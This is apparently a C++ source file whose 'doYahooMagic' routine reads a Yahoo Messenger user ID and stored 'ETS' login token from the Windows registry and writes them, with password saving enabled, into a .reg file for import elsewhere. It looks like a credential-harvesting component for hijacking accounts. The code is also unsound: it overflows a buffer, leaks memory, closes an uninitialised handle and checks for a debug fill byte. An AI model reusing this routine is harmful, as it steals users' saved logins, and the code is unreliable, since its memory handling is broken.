#include "StdAfx.h"
#include "CRegistryParser.h"

CRegistryParser::CRegistryParser(void)
{
	

}

CRegistryParser::~CRegistryParser(void)
{
	
}

char* CRegistryParser::m_GetKeyValue(const char *argPath,const char*argRequiredKey){
	int ok=0;
	char rgValue[2048];
	char *myReturnValue;
	HKEY keyHandle;
	DWORD size1=sizeof(rgValue);
	DWORD Type;
	LPCTSTR regPath=(LPCTSTR)argPath;
	LPCTSTR regReq=(LPCTSTR)argRequiredKey;
	if( RegOpenKeyEx(HKEY_CURRENT_USER, regPath,0, KEY_QUERY_VALUE, &keyHandle) == ERROR_SUCCESS)
	{
		RegQueryValueEx( keyHandle, regReq, NULL, &Type, (LPBYTE)rgValue,&size1);		
	}
	RegCloseKey(keyHandle);
	
	if((int)rgValue[0]!=-52){
		myReturnValue=new char[strlen(rgValue)+1];
		strcpy(myReturnValue,rgValue);
		return myReturnValue;
	}
	else return NULL;
}
void CRegistryParser::doYahooMagic(){
	
	if(m_GetKeyValue("Software\\Yahoo\\Pager","Yahoo! User ID")!=NULL){
		/*------------------------------------*/
		char *filename;
		filename=new char[ strlen(".reg") + strlen(m_GetKeyValue("Software\\Yahoo\\Pager","Yahoo! User ID"))+3];
		strcpy(filename,m_GetKeyValue("Software\\Yahoo\\Pager","Yahoo! User ID"));
		strcat(filename,".reg");
		/*------------------------------------*/
		FILE *in=fopen(filename,"wt");
		/*------------------------------------*/
		char *etsPathBuffer;
		etsPathBuffer=new char[strlen("\"ETS\"=")+strlen(m_GetKeyValue("Software\\Yahoo\\Pager","ETS"))+3];
		strcpy(etsPathBuffer,"\"ETS\"=");
		etsPathBuffer=strcat(etsPathBuffer,"\"");
		etsPathBuffer=strcat(etsPathBuffer,m_GetKeyValue("Software\\Yahoo\\Pager","ETS"));
		etsPathBuffer=strcat(etsPathBuffer,"\"");
		/*------------------------------------*/
		char *idPathBuffer;
		idPathBuffer=new char[strlen("\"Yahoo! User ID\"")+strlen(m_GetKeyValue("Software\\Yahoo\\Pager","Yahoo! User ID"))+3];
		strcpy(idPathBuffer,"\"Yahoo! User ID\"=");
		idPathBuffer=strcat(idPathBuffer,"\"");
		idPathBuffer=strcat(idPathBuffer,m_GetKeyValue("Software\\Yahoo\\Pager","Yahoo! User ID"));
		idPathBuffer=strcat(idPathBuffer,"\"");
		/*--------------------------------------*/
		fprintf(in,"%s","Windows Registry Editor Version 5.00\n\n[HKEY_CURRENT_USER\\Software\\Yahoo\\pager]\n");
		fprintf(in,"%s","\"Save Password\"=dword:00000001\n");
		fprintf(in,"%s",etsPathBuffer);
		fprintf(in,"%s","\n");
		fprintf(in,"%s",idPathBuffer);
		fprintf(in,"%s","\n");
		fclose(in);
	}
}